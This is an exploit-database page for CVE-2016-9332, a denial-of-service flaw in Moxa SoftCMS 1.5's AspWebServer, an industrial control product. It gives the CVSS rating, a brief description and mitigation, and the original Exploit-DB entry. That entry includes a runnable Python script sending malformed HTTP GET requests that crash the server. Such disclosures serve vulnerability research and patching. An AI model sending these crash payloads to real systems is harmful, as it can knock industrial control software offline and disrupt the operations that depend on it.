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Suggest Exploit
vendor:
SoftCMS
by:
Zhou Yu
7,5
CVSS
HIGH
Denial of Service
20
CWE
Product Name: SoftCMS
Affected Version From: 1.5
Affected Version To: 1.5
Patch Exists: YES
Related CWE: CVE-2016-9332
CPE: a:moxa:softcms:1.5
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows 7 SP1 x32
2016

Moxa SoftCMS 1.5 AspWebServer Denial of Service Vulnerability

AspWebServer does not properly validate input. An attacker could provide unexpected values and cause the program to crash or excessive consumption of resources could result in a denial-of-service condition.

Mitigation:

Input validation should be performed to ensure that user-supplied data is properly sanitized and validated.
Source

Exploit-DB raw data:

'''
# Title: Moxa SoftCMS 1.5 AspWebServer Denial of Service Vulnerability
# Author: Zhou Yu
# Email: 504137480@qq.com
# Vendor: http://www.moxa.com/
# Versions affected: 1.5 or prior versions
# Test on: Moxa SoftCMS 1.5 on Windows 7 SP1 x32
# CVE: CVE-2016-9332
# Advisory: https://ics-cert.us-cert.gov/advisories/ICSA-16-322-02

Vulnerability Description:
AspWebServer does not properly validate input. An attacker could provide unexpected values and cause the program to crash or excessive consumption of resources could result in a denial-of-service condition.


Vulnerability Discovery Method:
With the help of kitty fuzzing framework, we are able to find some vulnerabilities of the AspWebServer when parsing HTTP GET request. Details of the fuzzer scripts and output can be found here: https://github.com/dazhouzhou/ICS-Vulnerabilities/tree/master/Moxa/SoftCMS .
'''

import socket
host = '192.168.124.128'    
port = 81

# extracted four payloads from crashes that can crash the AspWebServer.exe
payload1 = 'GET /\ HTTP/1.1\r\n\r\n'
payload2 = 'GET \x00 HTTP/1.1\r\n\r\n'
payload3 = 'GET \n HTTP/1.1\r\n\r\n'
payload4 = 'GET /. HTTP/1.1\r\n\r\n'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.send(payload1)
s.close()